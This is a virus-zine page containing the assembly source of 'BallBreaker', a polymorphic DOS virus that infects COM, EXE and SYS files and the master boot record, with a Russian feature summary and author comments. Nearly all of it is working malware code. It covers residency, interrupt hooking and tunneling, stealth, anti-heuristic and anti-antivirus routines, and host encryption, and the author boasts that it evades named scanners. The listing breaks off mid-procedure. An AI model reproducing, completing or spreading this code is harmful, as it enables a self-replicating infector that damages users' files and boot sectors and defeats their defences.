- [Duke's Virus Labs #7] - [Page 31] - BallBreaker (c) by Deviator/HAZARD Краткое описание на русском: - Заражает Com/Exe/Sys/Mbr - 100% полиморфный (даже в MBR) - Если запущен из под Windows и смог определить наличие оного, не заражает MBR. - Полный MBR Stealth (int 13h - read/write) - Два антиэвристических приема - Мощный полиморфный алгоритм - Перехватывает прерывание таймера и через каждых 1000 тиков заражает файл в текущей директории (Findfirst/Findnext) - Имеется небольшой Joke - Снимает аттрибуты (и восстанавливает их) при заражении - Трассирует int 21h или получает его раком (через PSP) - При загрузке из MBR создает собственный Memory Control Block - Содержит активную защиту от антивирусов (без ущерба оным) - Приманки и файлы с текстом (английским) в конце файла не заражает. - Криптует первые 1024 байта файла (обламываем ADinf) - Stealth по Findfirst/Findnext (Filesize) - Медленный полиморфик - Stealth трассировка (трудно обнаружить,однако вполне возможно) - Из-за антиэвристики почти все AV бессильны (не тестировал декриптор с TBAV) Bugz: Их достаточно много. А вот как он будет вести себя на воле - не знаю... ===== begin ballbr.asm ===== ; [Steel Rat] is my old virus. And this is remake of it... ; [BallBreaker] ;) ; Polymorphic TSR Com/Exe/Sys/Mbr Infector with semi-stealth abilities. ; In NeXT GENERATiON added ; - MBR Infecting ; - When running under Windows,MBR infection turned off ; - Filesize stealth (Findfirst/Findnext) ; - Polymorphic decryptor generator (SMM) ; - Slow polymorphic ; - Part of host crypting (in Exe'n'Com files) ; - Full MBR stealth (i13) ; - When loaded from MBR patches MCB chain to create own MCB. ; - Dos Idle ; - Simple feature (joke) ; - Simple anti-bait feature ; - Has simple AV protection... ; - Gets 21 int in non-standart way or just tunnels it. ; - Optimized alot ; - Huge , blah... ; Needs Smm.Asm in same directory. You can find it in ..\Smm ; This is Polymorphic Com/Exe/Sys/Mbr infector. MBR loader is also polymorphic. ; I'we added infection using i28 (Dos Idle)- virus intercepts timer vector ; and at every tick increasing one variable. When i28 called, virus ; checks content of that variable, and if it larger then needed (or equal) ; setups DTA, find file and infects it... ; Yeap, there is Sys file infection. I dont know why, when Command.Com ; isn't loaded, system hangups when i try to infect something... Shit... ; So there is check when loaded from MBR/Sys for command.com execution. ; When it executed we can start our productive job... ; Infection of sys files is VERY simple, very similar to infecting of ; Com files. ; All infection methods i invented alone (without reading any zines and ; looking in another viruses). So Exe infection is quite different from ; standard type (think so)... ; Polymorphic generator was made, without looking in source of another ; generators. I coded crypted com virus, and understand that what does it ; means to be polymorphic. So i wrote some simple oligomorphic generators, ; then wrote SMM v.1.0 (was polymorphic, but to easy detectable). ; Next was SMM 2.xx...It was really polymorphic, but pointer ; register was allways same,etc... ; In this virus i used SMM v.3.09A. Read it discription in Smm.asm. ; Tunnel routine is small and hard detectable (there is only one method, ; how to catch it...its ...;). But trace is easy to remove (very ; easy). I made something, but that's doesn't enough.. ; Bugz : With infection marker - i used time to store infection mark ; and virus size in current file (was lasy to make something else)... ; If you founded some bugs, or have interesting ideas - email me. ; E-Mail: Biodrone2@Hotmail.com ; To test this virus on your system - just mark TestVir = 1, and put ; read-only attribs to all your executables.... ;). ; P.S. All viruses i wrote was harmless - so that virus is harmless to.. ; P.S.S I tested this virus with some AV'rs (when virus is inactive), and ; it was undetectable (Dr.Web,F-Prot)... I have no any other AVr's ; so have no aviability to test SMM decryptor in TBAV or AVP... ; P.S.S.S Decryptors couldn't (sometimes) work under Protected Mode inviroment ; (Windows,etc) ; Personal greetz: Duke,Sepultura and all people on #SMF. ; Group greetz: SMF,IR ; P.S.S.S.S Hey Dukie - your team member SMT is rather cool :P ; Deviator [HAZARD]. ;------------------------------------------------------------------------- TNUM = 50 ; Number of residency test to start joke ICheck = 2345h ; Infection mark IntChange = 2 ; Number of int 21h changes to hook it MaxG = 8 ; Change this for bigger decryptor MinG = 4 ; sizes. Better dont touch MinG ; Bigger decrypter - it would take some time to decrypt ; That time really feeling on my i386 SX 33 ;) MinCom = 5000 ; Minimum size of com file TTry = 5 ; Number of tunnel fails, until stop tunneling. TestVir = 0 ; Virus for testing (Doesn't drop file attribs)? CHost = 1 ; Crypt host (first 1024 bytes) ? MbrInfect = 1 ; Enable MBR infection ? BootDos = 1 ; Create own MCB when loading from MBR ? SlowPoly = 1 ; Slow polymorphic or not ? i28C = 1000 ; Timer ticks to start infection using int 28 i28U = 1 ; Use int 28 infection ? AAV = 1 ; Include some Anti-AV procs ? NoStInt21 = 1 ; Include non-standard raw int 21h detection NoCBait = 1 ; Check bait (0 = No check,1 = Check it) i2Au = 1 ; Int 2Ah support (bail out AVPTSR) iCheck2 = 27 ; Size patch ;------------------------------------------------------------------------- .model tiny .286 ; For 286 or higher .code org 100h steel_rat: push es ds mov ax,3300h ; Lets do antiheuristics once-more int 21h ; if somebody decrypted us... push dx mov ax,3301h mov dx,1 int 21h xor dx,dx mov ax,3300h int 21h dec dx jz RIt mov cx,Vlen/10 push cs pop es call getsi getsi: pop di add di,offset Rit-GetSi rep stosw RIt: pop dx mov ax,3301h int 21h AntiHE: call nuke ; Bump disasm and try to bump trace db 0EAh db 0FFh call get_bp ; Get our offset host db 0 ; Our Host ( 0 - Com , 1 - Exe , 2 - Sys ) get_bp: pop bp sub bp,offset Host mov ah,30h int 21h cmp al,5 jb WQuit cld mov cx,es push cs cs pop ds es mov cs:[Windoze][Bp],0 Call CheckWin push cx if MBRInfect call Infect_Mbr ; Infect Mbr EndIf call randomize ; Setup random number generator pop cx if SlowPoly lea si,[RandSeed][Bp] lea di,[RSeed][Bp] movsw movsw EndIf call install ; Install us in memory pop ds es WQuit: mov al,cs:[host][bp] ; Return work to our host cmp al,1 jz exe_quit cmp al,2 jz sys_quit If CHost mov ax,cs mov si,100h Call DecryptHost Endif lea si,[old][bp] ; Get offset to old com data mov di,100h ; Dest - 100h push di movsw ; Copy it... movsw Call PatchPSp Call FreeReg ; Free regs retn exe_quit: mov ax,cs add ax,word ptr cs:[old][2][bp] ; Patch segment cli mov bx,cs:[host_ss][bp] ; Setup SS:SP add bx,ax mov ss,bx mov sp,cs:[host_sp][bp] sti mov si,word ptr cs:[Old][Bp] if CHost Call DecryptHost ; Decrypt host Endif push ax ; Store segment to finish push si ; Store Ip Call PatchPSP Call FreeReg retf sys_quit: lea si,[old][bp] ; Restore Sys beginning mov di,8 movsw Call FreeReg jmp word ptr cs:[8] ; Jump to host ;------------------------------------------------------------------------- PatchPSP proc cmp cs:[Inst][BP],1 jne NoPatch sub word ptr ds:[2],NeededVlen NoPatch: ret PatchPSP endp ;------------------------------------------------------------------------- FreeReg proc xor ax,ax xor bx,bx xor cx,cx cwd mov si,100h mov di,-2 xor bp,bp push ax popf ret FreeReg endp ;------------------------------------------------------------------------- If MbrInfect MBRInst: ; This would execute when loaded xor ax,ax ; from MBR mov es,ax ; Ds = 0 call Nuke ; Bump it ! db 0EAh,0FFh cli cld mov di,1Ch*4 ; Point 1Ch to our 1Ch procedure mov ax,offset Our1C stosw mov ax,cs stosw lds dx,es:[21h*4] mov word ptr cs:[i21],dx ; Store old int 21 mov word ptr cs:[i21][2],ds lds dx,es:[13h*4] mov word ptr cs:[i13],dx ; 13h mov word ptr cs:[i13][2],ds lds dx,es:[08h*4] mov word ptr cs:[i8],dx ; 08h mov word ptr cs:[i8][2],ds mov di,13h*4 ; Set int 13 to us mov ax,offset new13 stosw mov ax,cs stosw push ax mov di,8h*4 mov ax,offset Joke ; Set int 8 to our joke stosw pop ax stosw sti mov cs:[Allow],0 ; No allowance of infection ; until Command.Com is loaded mov cs:[Checked],0 ; No int changed mov cs:[IntInf],0 mov cs:[NoInt],0 ; Allow usage of int 21h mov ax,0201h ; Load real MBR mov cx,Slen+3 mov dx,0080h mov bx,7C00h push es bx ; Store offset int 13h retf ; Go to it Checked db ? New13: cmp ah,03h ; Write ? jz OrWrite cmp ah,02h ; Read ? jne NotRead OrWrite:cmp dx,0080h ; HDD ? jne NotRead cmp cx,Slen+1 ; Our sectors ? ja NotRead cmp bp,iCheck ; Not our brother ? jz NotRead add cx,Slen+2 ; Stealth it ! NotRead: db 0EAh i13 dd ? Our1C: cmp cs:[Checked],IntChange ; If there were IntChange changes ? jae NoBump push ds es ax bx di ; Store regs xor ax,ax ; Ds = 0 mov es,ax lds ax,es:[21h*4] ; Get current int 21 cmp word ptr cs:[i21],ax jz NoChange mov bx,ds cmp word ptr cs:[i21][2],bx ; Changed ? jz NoChange mov word ptr cs:[i21],ax ; Move it to our variables mov word ptr cs:[i21][2],ds mov word ptr cs:[r21],ax ; And again... mov word ptr cs:[r21][2],ds inc cs:[Checked] ; Increase number of int changes cmp cs:[Checked],IntChange ; Equal ? jne NoChange If i28U lds ax,es:[28h*4] ; Get int 28 mov word ptr cs:[Old28],ax mov word ptr cs:[Old28][2],ds EndIf mov cs:[F1],1 ; Yeap... No trace... cli cld mov di,21h*4 mov ax,offset New21 stosw mov ax,cs ; Intercept int 21h stosw If i28U push ax mov di,28h*4 mov ax,offset i28 ; Intercept int 28h stosw pop ax stosw EndIf sti If BootDos Call PatchMCB ; Patch our MCB EndIf NoChange: pop di bx ax es ds NoBump: iret ;------------------------------------------------------------------------- If BootDos PatchMCB proc pusha mov ah,52h ; Get first MCB call dos mov ax,es:[bx][-2] FindZ: mov es,ax cmp byte ptr es:[0],'Z' ; Find Last MCB jz Gotit mov ax,es add ax,es:[3] inc ax jmp FindZ GotIt: mov byte ptr es:[0],'M' ; Make it not last mov ax,es add ax,es:[3] inc ax mov es,ax xor di,di ; Create our block mov al,'Z' ; Last block stosb mov ax,70h ; Dos block stosw mov ax,KbMem*64-1 ; Occupied space dec ax stosw popa ret PatchMCB endp EndIf EndIf ;------------------------------------------------------------------------- Inst db ? install proc near push es mov cs:[Inst][Bp],0 mov ax,0A1B1h ; Installation check int 21h jmp short lets_go ; Lets install jmp bailout ; Nope.... ; Virus would patch up offset of ; return, so it would pass first jmp ; (jmp short lets_go)... lets_go: mov cs:[f1][bp],0 ; We're not traced... mov cs:[TunnelTry][Bp],0 ; We're not tried to tunnel mov cs:[NoInt][Bp],0 push ds xor ax,ax ; Es = 0 mov ds,ax push ax ax lds ax,ds:[21h * 4] ; Get ints lea di,[i21][Bp] stosw push ax mov ax,ds ; I21 h stosw pop ax stosw mov ax,ds stosw pop ds lds ax,ds:[08h * 4] ; 8h stosw mov ax,ds stosw pop ds if i28U lds ax,ds:[28h * 4] ; 28h mov word ptr cs:[Old28][Bp],ax mov word ptr cs:[Old28][Bp][2],ds EndIf If NoStInt21 mov ds,cx mov si,5 Call TryToGetInt21 ; Lets get from int 21 PSP xor ax,ax mov ds,ax mov si,0C0h ; Lets get int 30h Call TryToGetInt21 Endif cmp cs:[host][bp],2 ; Host sys ? jz SyS_HosT mov cs:[allow][bp],1 ; If no - we could infect jmp Done_with_Host SyS_HosT: mov cs:[allow][bp],0 ; Sys... No infection until loaded ; Command.com Done_With_Host: pop ds mov ah,52h ; Find first MCB int 21h mov ax,es:[bx][-2] find_block: mov es,ax cmp es:[3],1000h ; Find block, which size is more then ja GotCha ; 65000 kb cmp byte ptr es:[0],'Z' ; Last ? Blah... No block :( jne Mux jmp BailOut Mux: add ax,es:[3] inc ax jmp find_block GotCha: cli mov cl,es:[0] mov di,3 mov ax,es:[3] ; Patch it and create own block sub ax,NeededVlen stosw mov byte ptr es:[0],'M' mov bx,es ; Get next block add ax,bx inc ax mov es,ax xor di,di ; Letter of previous block mov al,cl stosb mov ax,70h ; Dos Block stosw mov ax,NeededVlen-1 ; Needed memory stosw Copy_Us: mov ax,es sub ax,15 mov es,ax lea si,[bp][Steel_Rat] ; Copy our body mov di,offset Steel_Rat mov cx,Vlen+100 cld rep movsb push es pop bx xor ax,ax mov es,ax mov ax,offset new21 ; Set int 21h mov di,21h*4 stosw mov ax,bx stosw mov ax,offset Joke ; Set int 8h mov di,8*4 stosw mov ax,bx stosw If i28U mov ax,offset i28 ; Set int 28h mov di,offset 28h*4 stosw mov ax,bx stosw EndIf mov cs:[Inst][Bp],1 bailout: sti pop es ret install endp db '! BallBreaker !' ;------------------------------------------------------------------------- If NoStInt21 TryToGetInt21 proc cmp cs:[F1][Bp],1 ; Allready traced ? jne LetsTrace ret LetsTrace: push ds es ; call to int 21. If nobody changed JumpMux: ; it, we would get real int 21h lodsb ; Get byte cmp al,0EAh ; Far JMP ? jz ItsCall cmp al,09Ah ; Far Call ? jz ItsCall cmp al,90h jz FoundedInt21 ; Nop ? NotInt21: pop es ds ; Not founded :( ret FoundedInt21: lodsb ; Next is Nop ? cmp al,90h jne NotInt21 ; Nope.. std dec si dec si ; Nop !!! dec si push ds si pop di es mov cx,5 Findi21: push cx mov al,90h mov cx,20 repne scasb dec di pop cx loop Findi21 inc di mov ax,di cld push cs pop es lea di,[i21][Bp] ; Store offset stosw mov ax,ds stosw pop es ds mov cs:[F1][Bp],1 ; No int 21 trace ret ItsCall: lodsw push ax lodsw mov ds,ax pop si jmp JumpMux TryToGetInt21 endp Endif ;------------------------------------------------------------------------- nuke proc near push ax bp es di cli xor ax,ax ; Lets try to drop trace flag push ax db 02Eh ; Cs: popf mov es,ax mov di,4 stosw ; Fuck off trace ! stosw mov di,8 stosw stosw pop di es mov bp,sp mov ax,ss:[bp][4] ; Patch offset to return inc ax inc ax mov ss:[bp][4],ax sti pop bp ax ret nuke endp ;---------------------- Resident Part -------------------------------- new21: cmp cs:[f1],1 ; Tunneled ? jz SkipTun ; Yeap... cmp cs:[TunnelTry],TTry ; Somebody bails us ? ja SkipTun call Tunnelit ; Tunnel ! ; This would called until int 21h is traced... ; If there were any anti-tracing routines ; trace try's would be forever... SkipTun: cmp ax,0A1B1h ; Brother testing for us ? jne NotOurTest ; for us in memory ? push bp mov bp,sp add word ptr ss:[bp][2],2 ; Patch offset pop bp cmp cs:[joker],TNUM ; increase joker jb Setup_Joke mov cs:[joker],0 iret Setup_Joke: inc cs:[joker] iret NotOurTest: cmp cs:[NoInt],0 jz AllOkWith21 if AAV cmp ah,4Ch jne IretIt mov cs:[NoInt],0 jmp AllOkWith21 IretIt: iret ; Bail it out ! Endif AllOkWith21: cmp ah,4Bh ; Exec ? jz Exec cmp ah,4eh ; Find first ? jz Stealth cmp ah,4Fh ; Find next ? jz Stealth cmp cs:[allow],1 ; Allowed to infect ? jne Not_Allowed cmp ah,3Dh ; Open ? jz Open Not_Allowed: jmp dword ptr cs:[i21] ;---------------------- Exec -------------------------------------- Exec: If AAV pusha push es ds Call CheckAv dec bp jne NoIntz mov cs:[NoInt],1 NoIntz: pop ds es popa Endif ; cmp cs:[allow],1 ; We couldn't infect files ; jz Open ; until Command.Com is loaded... ; ; But dont know why... call if_command ; So we need to test if command is ; allready loaded... jne Not_Allowed mov cs:[allow],1 ; Allowed to infect. jmp Not_Allowed ;--------------------- Open -------------------------------------- Open: call infect ; Infect file jmp Not_Allowed ;--------------------Stealth Filesize----------------------------- Stealth: pushf call dword ptr cs:[i21] ; Call dos pushf pusha push es ds mov ah,2Fh ; Get Dta to Es:Bx call dos push es bx pop dx ds ; Ds:Dx = Es:Bx add dx,1Eh ; Add offset to name push es bx call Scan ; Scan extension pop bx es cmp al,0 ; Not valid extension ? jz NoStealth mov cx,word ptr es:[bx][16h] ; Get file time Call CheckInfZ jne NoStealth ; Infected ? mov ax,word ptr es:[bx][16h] ; If yes - make file smaller sub word ptr es:[bx][1Ah],ax NoStealth: pop ds es popa popf retf 2 ;--------------------------------------------------------------------- old db 0CDh ; Old bytes inside virus body db 20h dw ? host_ss dw ? ; Exe SS'n'SP host_sp dw ? ;------------------------- Testing Routines -------------------------- If AAV CheckAv proc xor bp,bp push ds dx pop di es mov cx,50h xor ax,ax cld repne scasb ; Find Zero std mov cx,15 mov al,'\' ; Find last backslash repne scasb inc di inc di cld cmp di,dx ja DiOk mov di,dx ; No backslashes... DiOk: push cs pop ds mov si,offset AVtbl LChk: xor ax,ax lodsb cmp al,0 jz NoMoreAvrs ; Blah.. No more AVr's ;) xchg ax,cx push di rep cmpsb pop di jz ItsIt add si,cx jmp LChk ItsIt: inc bp NoMoreAvrs: ret CheckAv endp EndIf NoInt db 0 ;------------------------- Testing Routines -------------------------- if_command proc near ; Check for command.com push ax di si es cx cld mov di,dx push ds pop es xor ax,ax ; Find zero mov cx,50 repne scasb mov si,di sub si,12 lodsw or ax,2020h ; Load previous letter before 0 cmp ax,'oc' ; 'co' ? jne Borp lodsw or ax,2020h cmp ax,'mm' ; "mm" ? jne Borp lodsw or ax,2020h cmp ax,'na' ; "an" ? jne Borp lodsw or ax,2020h cmp ax,'.d' ; "d." ? Borp: pop cx es si di ax ret if_command endp ;----------------------- Scan for Extension -------------------------- ; Returns 0 - Unknown , 1 - Com , 2 - Exe , 3 - Sys scan proc near push ds pop es mov di,dx mov al,'.' ; Find "." mov cx,50h cld repne scasb xchg si,di lodsw ; Load word after dot or ax,2020h ; To lower-case cmp ax,'oc' ; 'Co' ? jz Test_for_Com cmp ax,'ys' ; 'Sy' ? jz Test_for_Sys cmp ax,'xe' ; 'Ex' ? jz Test_for_Exe jmp Lyaps Test_for_Com: lodsb or al,20h cmp al,'m' ; 'm' ? jne Lyaps mov al,1 jmp Uknown Test_for_Exe: lodsb or al,20h cmp al,'e' ; 'e' ? jne Lyaps mov al,2 jmp Uknown Test_for_Sys: lodsb or al,20h cmp al,'s' ; 's' ? jne Lyaps mov al,3 jmp Uknown Lyaps: xor ax,ax Uknown: ret scan endp dos proc near pushf call dword ptr cs:[r21] ; Call dos ret dos endp ;----------------------- Infection Routines ----------------------- infect_com proc near call savea ; Drop attributes mov ax,3d02h ; Open file call dos jnc ComFileGood jmp Com_Infect_done ComFileGood: xchg ax,bx Call CheckInf jne CheckComBait ClCOM: jmp Close_Com_File CheckComBait: If NoCBait Call CheckBait or bp,bp jne ClCOM EndIf push cs cs pop ds es mov ah,3fh mov dx,offset old ; Load first 4 bytes mov cx,4 call dos mov si,dx lodsw cmp ax,'ZM' ; Masked exe ? jz Close_Com_File mov ax,4202h ; To the end of file xor cx,cx cwd call dos cmp ax,60000-Vlen ; Size > 60000-Vlen ? ja Close_Com_file cmp ax,MinCom+Vlen jb Close_Com_File if CHost xor cx,cx xor dx,dx Call CryptHost mov ax,4202h xor cx,cx cwd Call Dos EndIf push ax mov ds:[host],0 ; Host = Com If SlowPoly Call MakeSlow EndIf mov si,offset steel_rat mov di,offset free mov cx,vlen call smm mov ds:[FLen],cx ; Store new length mov ah,40h ; Write us mov dx,di call dos pop ax mov di,offset temp push di push ax ; Create and mov al,0E9h ; patch jmp stosb pop ax sub ax,3 stosw mov ax,4200h ; To the start of file xor cx,cx cwd call dos mov ah,40h ; Write Jmp pop dx mov cx,4 call dos call Mark ; Mark that file infected Close_Com_File: mov ah,3eh ; Close file call dos Com_Infect_Done: call resta ; Restore attributes ret infect_com endp ;----------------------------------------------------------------- infect_exe proc near call savea ; Drop attributes mov ax,3d02h ; Open file call dos jnc ExeInfect jmp Exe_Infect_Done ExeInfect: xchg ax,bx Call CheckInf jz CloseExe If NoCBait Call CheckBait or bp,bp jne CloseExe Endif push cs cs pop ds es mov ah,3Fh mov dx,offset temp ; Read exe header mov cx,1Ah call dos jmp AllOk CloseExe: jmp Close_Exe AllOk: cmp word ptr ds:[temp],'ZM' ; MZ ? jne CloseExe mov ax,word ptr ds:[temp][4] ; Check for overlays mov cx,512 mul cx ; Multiply PageCnt by 512 push ax push dx mov ax,4202h ; To the end of file xor cx,cx cwd call dos pop cx cmp dx,cx pop cx ja CloseExe ; Overlay(s) Present... add cx,word ptr ds:[Temp][2] ; Add partial page length cmp ax,cx ja CloseExe push ax If CHost xor dx,dx ; Calculate Exe Entry mov ax,word ptr ds:[Temp][14h] ; Look if there in mov cx,16 ; IP any paragraphs div cx xchg ax,dx ; Dx = Paragraphs in IP push ax xor cx,cx add dx,word ptr ds:[Temp][16h] ; Add CS add dx,word ptr ds:[Temp][8] ; Add header size cmp dx,4096 jb NoDivCS xchg ax,dx xor dx,dx mov cx,4096 div cx xchg cx,ax NoDivCS: shl dx,4 pop bp add dx,bp ; Add Ip Call CryptHost mov ax,4202h xor cx,cx cwd call dos EndIf mov si,offset temp+0Eh ; Store old SS,SP mov di,offset host_ss movsw movsw lodsw ; Skip CheckSum mov di,offset old ; Store old Ip movsw shl dx,12 ; Multiply higher word of offset ; by 4096 (65536*x/16 = x*4096) sub dx,word ptr ds:[temp][8h] ; Sub header size mov ax,word ptr ds:[temp][16h] ; Get old Cs sub ax,dx ; Sub Old,Current seg stosw ; Store it mov word ptr ds:[temp][16h],dx ; Make New Cx = Dx mov ax,dx add ax,100h mov di,offset temp+0Eh stosw ; Setup SS xor ax,ax ; Setup SP stosw pop ax mov word ptr ds:[temp][14h],ax ; Setup New Ip mov ds:[host],1 ; Host - Exe push cs pop es If SlowPoly Call MakeSlow EndIf mov si,offset steel_rat mov di,offset free ; Encrypt Us mov cx,vlen call smm mov ds:[FLen],cx ; Store new length push cx mov ax,cx ; Calculate number of pages xor dx,dx mov cx,512 div cx add word ptr ds:[temp][4],Ax ; Add number of pages add word ptr ds:[temp][2],Dx ; Add size of partial page cmp word ptr ds:[temp][2],512 ; Partial page > 512 jb ItOk inc word ptr ds:[temp][4] ; Increase Pagenum sub word ptr ds:[temp][2],512 ; Sub partial page size,by 512 ItOk: pop cx mov ah,40h ; Write us mov dx,di call dos mov ax,4200h ; To the beginning of file xor cx,cx cwd call dos mov ah,40h mov dx,offset temp ; Write new Exe header mov cx,1Ah call dos call Mark ; Mark file Close_Exe: mov ah,3eh ; Close file call dos Exe_Infect_Done: call resta ret infect_exe endp ;--------------------------------------------------------------------- infect_sys proc near call savea ; Drop attributes mov ax,3d02h ; Open file call dos jnc FileOpened jmp Sys_Infect_Done FileOpened: xchg ax,bx Call CheckInf jne NoInfectedSys jmp Sys_Close_File NoInfectedSys: push cs cs pop ds es If NoCBait Call CheckBait or bp,bp jz SysOk EndiF jmp Sys_Close_File SysOk: mov ax,4202h xor cx,cx cwd Call Dos cmp ax,MinCom jb Sys_Close_File mov ax,4200h xor cx,cx cwd Call Dos mov ah,3fh ; Load header mov dx,offset temp mov cx,10 Call Dos mov si,offset Temp+6 mov di,offset old movsw mov ax,4202h ; To the end of driver xor cx,cx cwd call dos cmp ax,60000-Vlen ; More then one segment ? ja Sys_Close_File push ax mov ds:[host],2 ; Host = Sys If SlowPoly Call MakeSlow EndIf mov si,offset steel_rat mov di,offset free mov cx,vlen call smm ; Crypt us mov ds:[Flen],cx ; Store our new size mov ah,40h ; Write us mov dx,di call dos pop ax mov word ptr ds:[temp][8],ax ; write new offset of interrupt ; procedure mov ax,4200h ; Point to interrupt xor cx,cx cwd call dos mov ah,40h ; Write it mov dx,offset temp mov cx,10 call dos call Mark Sys_Close_File: mov ah,3eh ; Close file call dos Sys_infect_done: call resta ; Restore attributes ret infect_sys endp ;---------------------------------------------------------------- If MbrInfect infect_mbr proc ; Infect MBR push es ds cs cs pop es ds cmp ds:[Windoze][Bp],1 ; There is windows in a system ? jnz LetsInfectMBR jmp NoInfectMBR LetsInfectMBr: mov ax,0201h ; Lets read current MBR mov cx,0001h mov dx,0080h lea bx,[Free][BP] push bp mov bp,iCheck int 13h pop bp cmp byte ptr es:[Free][Bp],90h ; First is NOP ? jne InfectItq ; If no - lets infect MBR jmp NoInfectMbr InfectItq: mov ax,0301h ; Write old MBR to sector after our mov cx,Slen+3 ; body int 13h jb NoInfectMbr xor ax,ax call getrnd mov ds:[DPatch][Bp],al ; Choose crypt key lea si,[OurMbr][Bp] lea di,[Free][Bp] mov al,90h stosb mov cx,OurMbrL mov ds:[MaxGarb][Bp],MaxG/2 ; Crypt loader mov ds:[MinGarb][Bp],MinG/2 mov ds:[AntiH1][Bp],0 ; No anti-heuristics mov ds:[UseInt][Bp],0 ; No int 21 usage call Smm inc cx ; Check if we fit in MBR sector ? cmp cx,512 jae NoInfectMbr mov ax,0301h mov cx,0001h ; Write It mov dx,0080h lea bx,[Free][Bp] int 13h jb NoInfectMbr lea si,[Steel_Rat][Bp] ; Crypt virus lea di,[Free][BP] mov cx,vlen CryptUs: lodsb xor al,ds:[DPatch][Bp] stosb loop CryptUs mov ax,0300h+Slen ; Write to third sector mov cx,0002h lea bx,[Free][Bp] int 13h NoInfectMbr: pop ds es ret infect_mbr endp OurMbr: cli ; MBR Loader xor ax,ax mov ss,ax mov sp,7C00h ; Setup Stack sti mov ax,40h ; This nukes some AV'rs mov es,ax sub word ptr es:[13h],KbMem ; Decrease mem int 12h ; Get amount of mem shl ax,6 ; Calculate segment sub ax,15 mov es,ax mov bx,100h ; Lets read to offset 100h push bx ; virus body mov ah,02h mov al,SLen mov dx,0080h mov cx,0002h ; Read it int 13h pop si mov cx,vlen db 0B0h DPatch db 55h DCrypt: xor byte ptr es:[si],al ; Decrypt it inc si loop DCrypt push es push offset MBRInst ; To main virus installer retf OurMbrl equ $ - OurMbr ;---------------------------------------------------------------- InfLen equ $ - Infect_Com EndIf ;---------------------------------------------------------------- If CHost HostKey db ? ;---------------------------------------------------------------- CryptHost proc ; Crypt part of host xor bp,bp mov ax,4200h ; Point to host entry call dos push ax dx mov ah,3fh mov dx,offset free ; Load 1024 bytes from host mov cx,1024 ; entry point push cx call dos xor ax,ax call getrnd ; Get encryption key mov ds:[HostKey],al mov si,dx pop cx CryptH: add ds:[si],al inc si loop Crypth pop cx dx mov ax,4200h call dos ; Point it back mov ah,40h ; Write crypted data mov dx,offset free mov cx,1024 call dos ret CryptHost endp ;---------------------------------------------------------------- DecryptHost proc push ax ds si cx mov ds,ax mov cx,1024 mov al,cs:[HostKey][Bp] DCHost: sub ds:[si],al inc si loop DCHost pop cx si ds ax ret DecryptHost endp EndIf ;---------------------------------------------------------------- If i28U i28: cmp cs:[Allow],1 jz LetsInfectIt jmp NoInfect LetsInfectIt: cmp cs:[IntInf],i28c jb NoInfect mov cs:[IntInf],0 mov cs:[SSt],ss mov cs:[SPt],sp mov cs:[AxS],ax mov ax,cs mov ss,ax mov sp,offset Sta pusha push es ds push cs pop ds mov ah,2Fh ; Store old DTA call dos mov word ptr ds:[DtaS],bx mov word ptr ds:[DtaS][2],es mov ah,1ah mov dx,offset Dta ; Setup Dta call dos mov ah,4eh mov dx,offset Msk xor cx,cx FFile: call dos jb InfectedIt mov ds:[Infected],0 mov dx,offset Fname Call Infect cmp ds:[Infected],1 jz InfectedIt mov ah,4fh jmp FFile InfectedIt: lds dx,ds:[DtaS] mov ah,1ah call dos pop ds es popa mov ax,cs:[SSt] mov ss,ax mov sp,cs:[SPt] mov ax,cs:[AxS] NoInfect: db 0EAh Old28 dd ? ;---------------------------------------------------------------- SSt dw ? SPt dw ? Axs dw ? Dtas dd ? Msk db '*.*',0 Endif IntInf dw ? Infected db ? Key db ? ;---------------------------------------------------------------- Mark proc mov ax,5700h ; Get file date Call dos push dx ; Store it mov ax,ds:[FLen] cwd mov cx,iCheck2 ; If it divides by infection div cx ; mark ? sub cx,dx or cx,cx jz NoPatchSize add ds:[Flen],cx ; Nope... Lets fill up push cx ; Store size mov ax,4202h ; To the end of file cwd xor cx,cx int 21h pop cx push cx mov di,offset Temp ; Fill with garbage push di LL: Call GetMax stosb loop LL pop dx cx mov ah,40h ; Write garbage Call dos NoPatchSize: pop dx mov cx,ds:[FLen] mov ax,5701h ; Mark file Call dos mov ds:[Infected],1 ret Mark endp ;---------------------------------------------------------------- CheckInf proc mov ax,5700h Call dos CheckInfz: xchg ax,cx mov cx,iCheck2 xor dx,dx div cx or dx,dx ret CheckInf endp ;---------------------------------------------------------------- infect proc near ; Main infection routine call si24 ; Set int 24h pusha push ds es If AAV push dx es ds call CheckAv dec bp pop ds es dx jz Open_Done EndIf call Scan ; Scan for extension mov cs:[MinGarb],MinG mov cs:[MaxGarb],MaxG mov cs:[AntiH1],1 ; Use Anti-heuristics mov cs:[UseInt],1 ; Use ints cmp al,0 jz Open_Done ; Al = 0 ? cmp al,3 jz Its_Sys cmp al,2 jz Its_Exe cmp al,1 jz Its_Com jmp Open_Done Its_Com: call if_command ; Check for command.com jz Open_Done call infect_com ; Infect Com jmp Open_Done Its_exe: call Infect_exe ; Infect Exe jmp Open_Done Its_SyS: call Infect_Sys ; Infect Sys Open_done: pop es ds popa call ri24 ; Restore int 24 ret infect endp ;-------------------------------------------------------------- If NoCBait CheckBait proc xor bp,bp mov ax,4202h ; To the end of founded file xor cx,cx cwd call dos cmp ax,MinCom+Vlen ; This is not anti-bait routine, jb SeekS ; this is just simple sub ax,150 xchg ax,dx xchg ax,cx mov ax,4200h call dos push cs cs pop es ds mov ah,3fh mov dx,offset free ; Read 100 mov cx,100 call dos mov si,dx mov di,dx lodsb mov cx,100 ; Check for equal bytes push si di cx rep scasb pop cx di si jz ItsBait xor dx,dx ; Check for text strings LCheck: lodsb cmp al,'z' ja ProbablyNotText inc dx ProbablyNotText: loop LCheck cmp dx,90 jae ItsBait jmp SeekS ItsBait: inc bp SeekS: mov ax,4200h xor cx,cx cwd call dos ret CheckBait endp EndIf ;-------------------------------------------------------------- If SlowPoly MakeSlow proc cld mov si,offset RSeed mov di,offset RandSeed movsw movsw ret MakeSlow endp EndIF ;-------------------------------------------------------------- if AAV AVTbl db 5,'drweb' db 5,'DRWEB' db 4,'aids' ; This AV not problem db 4,'AIDS' ; for us,but better not infect it... db 6,'f-prot' db 6,'F-PROT' db 5,'adinf' db 5,'ADINF' db 4,'scan' db 4,'SCAN' db 6,'vshiel' db 6,'VSHIEL' db 5,'clean' db 5,'CLEAN' db 7,'findvir' db 7,'FINDVIR' db 5,'guard' db 5,'GUARD' db 2,'tb' db 2,'TB' db 2,'-V' db 2,'-v' db 4,'virs' db 4,'VIRS' db 3,'avp' db 3,'AVP' db 0 Endif ;-------------------------------------------------------------- si24 proc near push dx ds ax es bx mov 